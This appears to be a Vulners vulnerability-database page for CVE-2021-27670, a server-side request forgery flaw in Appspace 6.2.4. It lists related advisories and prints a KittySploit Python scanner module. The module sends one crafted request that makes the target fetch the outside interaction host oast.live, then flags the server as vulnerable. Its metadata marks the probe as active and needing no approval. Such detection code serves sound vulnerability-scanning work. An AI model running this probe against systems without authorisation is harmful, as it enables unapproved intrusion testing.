Lucene search
+L

Appspace 6.2.4 - Server-Side Request Forgery Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 5 Views

Appspace allows SSRF via the api/v1/core/proxy/jsonprequest url parameter.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-27670
25 Feb 202101:15
–attackerkb
circl
Circl
CVE-2021-27670
25 Feb 202107:37
–circl
cnnvd
CNNVD
Appspace Code Issues Vulnerabilities
24 Feb 202100:00
–cnnvd
cve
CVE
CVE-2021-27670
25 Feb 202100:01
–cve
cvelist
Cvelist
CVE-2021-27670
25 Feb 202100:01
–cvelist
nuclei
Nuclei
Appspace 6.2.4 - Server-Side Request Forgery
15 Oct 202602:05
–nuclei
nvd
NVD
CVE-2021-27670
25 Feb 202101:15
–nvd
osv
OSV
CVE-2021-27670
25 Feb 202101:15
–osv
prion
Prion
Server side request forgery (ssrf)
25 Feb 202101:15
–prion
ptsecurity
Positive Technologies
PT-2021-17595
25 Feb 202100:00
–ptsecurity
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Appspace 6."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Appspace 6.2.4 - Server-Side Request Forgery Detection',
        'description': 'Appspace 6.2.4 allows SSRF via the api/v1/core/proxy/jsonprequest url parameter.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'appspace', 'ssrf', 'vuln', 'vkev'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/h3110mb/PoCSSrfApp',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-27670',
            'https://github.com/ArrestX/--POC',
            'https://github.com/KayCHENvip/vulnerability-poc',
            'https://github.com/Miraitowa70/POC-Notes',
        ],
        'cve': 'CVE-2021-27670',
    }

    def run(self):
        r = self.http_request(method="GET", path='/api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://oast.live', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_any = ('<h1> Interactsh Server </h1>',)
        if (any(m in body for m in body_any)):
            self.set_info(
                severity='critical',
                reason="Appspace 6.2.4 - Server-Side Request Forgery detected",
                path='/api/v1/core/proxy/jsonprequest?objresponse=false&websiteproxy=true&escapestring=false&url=http://oast.live',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 3.19.8
EPSS0.61274
5